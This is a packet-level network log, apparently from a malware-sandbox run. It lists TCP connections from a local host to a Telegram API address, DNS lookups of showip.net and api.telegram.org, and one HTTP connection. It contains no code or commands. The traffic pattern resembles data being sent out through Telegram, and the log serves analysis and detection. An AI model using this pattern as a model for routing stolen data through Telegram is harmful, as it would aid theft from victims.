Nov 25, 2024 13:41:23.942348003 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.942377090 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.942450047 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.942481995 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.942528963 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.942573071 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.942624092 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.943617105 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.943670034 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.943774939 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.943777084 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.943799019 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.943809986 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.943833113 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.943845987 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.943898916 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.943978071 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.944035053 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.944093943 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.944148064 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.945012093 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.945067883 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.945163965 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.945167065 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.945202112 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.945246935 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.945302963 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.945365906 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.945405960 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.987335920 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.055733919 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.055895090 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.055912018 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.056013107 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.058435917 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.058537006 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.058568954 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.058757067 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.058932066 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.058944941 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.059010983 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.059060097 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.059106112 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.059158087 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.059205055 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.059253931 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.059298038 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.060194016 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.060241938 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.060338020 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.060357094 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.060400009 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.060414076 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.060466051 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.060523033 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.060575962 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.060650110 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.060704947 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.062659025 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.062676907 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.062793970 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.062797070 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.062824965 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.062871933 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.062899113 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.062946081 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.064707041 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.064723969 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.064831018 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.064843893 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.064867973 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.064915895 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.064934015 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.064951897 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.065017939 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.065084934 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.065141916 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.065164089 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.065279007 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.065325022 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.066494942 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.066540956 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.066634893 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.066658020 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.066756964 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.066778898 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.066785097 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.066837072 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.066881895 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.066992998 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.067023993 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.067929983 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.067997932 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.068095922 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.069647074 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.069717884 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.069750071 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.069772005 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.069786072 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.069803953 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.069803953 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.069803953 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.069839954 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.069855928 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.069950104 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.069964886 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.070020914 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.070076942 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.070132971 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.070169926 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.070293903 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.070358038 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.071127892 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.071212053 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.071306944 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.071345091 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.071444988 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.071504116 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.071535110 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.072444916 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.072494030 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.072585106 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.072607994 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.072705030 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.072731018 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.072741032 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.102930069 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.102948904 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.103092909 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.103127956 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.103208065 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.103230953 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.103296995 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.103346109 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.147336006 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.177956104 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.178204060 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.178236008 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.178360939 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.178386927 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.179408073 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.179429054 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.179507971 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:24.179531097 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.180479050 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:24.206790924 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:25.133928061 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:41:25.254317045 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:41:25.254370928 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:41:28.657520056 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:28.657629013 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:28.657639980 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:28.657699108 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:28.658068895 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:28.658087015 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:28.823585033 CET	50012	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:28.823632002 CET	443	50012	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:28.823709011 CET	50012	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:28.824004889 CET	50012	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:28.824021101 CET	443	50012	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:30.189058065 CET	443	50012	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:30.189126015 CET	50012	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:30.189701080 CET	50012	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:30.189707994 CET	443	50012	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:30.189950943 CET	50012	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:30.189955950 CET	443	50012	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:30.190064907 CET	50012	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:30.190069914 CET	443	50012	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:31.121942997 CET	443	50012	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:31.122035980 CET	443	50012	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:31.122220993 CET	50012	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:31.122602940 CET	50012	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:31.122627020 CET	443	50012	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:33.176495075 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:33.176548958 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:33.176618099 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:33.177139044 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:33.177155972 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.589971066 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.593095064 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.593643904 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.593662977 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.593898058 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.593903065 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.594099045 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.594119072 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.597057104 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.597099066 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.601089954 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.601146936 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605061054 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605103016 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605226994 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605238914 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605268002 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605287075 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605302095 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605334044 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605480909 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605495930 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605550051 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605571985 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605593920 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605607033 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605633020 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605643034 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605688095 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605700016 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605777025 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605787992 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605799913 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605813980 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605864048 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605880022 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605885983 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605890036 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605974913 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.605982065 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.605994940 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606002092 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606055021 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606060982 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606115103 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606121063 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606161118 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606173038 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606214046 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606225967 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606273890 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606285095 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606290102 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606293917 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606318951 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606323957 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606348038 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606352091 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606452942 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606463909 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606513023 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606523037 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606580019 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606592894 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606626987 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606637955 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.606693029 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606739044 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606805086 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606826067 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606836081 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.606853008 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.651340961 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.653466940 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.653508902 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.653546095 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.653589964 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.653664112 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.695334911 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.700906038 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.700947046 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.700999975 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.701014996 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.701141119 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.701188087 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.747351885 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.749373913 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.749423027 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.749439955 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.749492884 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.749547958 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.795340061 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.797328949 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.797359943 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.797542095 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.797591925 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.797648907 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.797710896 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.843333006 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.843754053 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.843797922 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.843822956 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.843871117 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.843879938 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.891340017 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.891830921 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.891882896 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.891906977 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.891962051 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.892025948 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.935332060 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.935615063 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.935657978 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.935704947 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.935712099 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.935934067 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.936024904 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.983329058 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:34.983730078 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.983802080 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.983942032 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.984179974 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:34.984261990 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.027328014 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:35.062927961 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:35.063106060 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.063133001 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:35.063230038 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.063460112 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.063513041 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.063582897 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.107326984 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:35.183921099 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:35.184148073 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.227335930 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:35.227437019 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.227615118 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.227704048 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.227730036 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.271337032 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:35.545762062 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:35.545954943 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.546030045 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:35.546082973 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:35.546134949 CET	50013	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:35.546169043 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:35.828890085 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:36.069816113 CET	443	50013	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:36.793262959 CET	443	50013	149.154.167.220	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 13:39:35.100296974 CET	58830	53	192.168.2.6	1.1.1.1
Nov 25, 2024 13:39:35.462301970 CET	53	58830	1.1.1.1	192.168.2.6
Nov 25, 2024 13:40:13.360755920 CET	53613	53	192.168.2.6	1.1.1.1
Nov 25, 2024 13:40:13.498394966 CET	53	53613	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 13:39:35.100296974 CET	192.168.2.6	1.1.1.1	0xd1fb	Standard query (0)	showip.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:40:13.360755920 CET	192.168.2.6	1.1.1.1	0xf0b1	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 13:39:20.392765045 CET	1.1.1.1	192.168.2.6	0x68dd	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
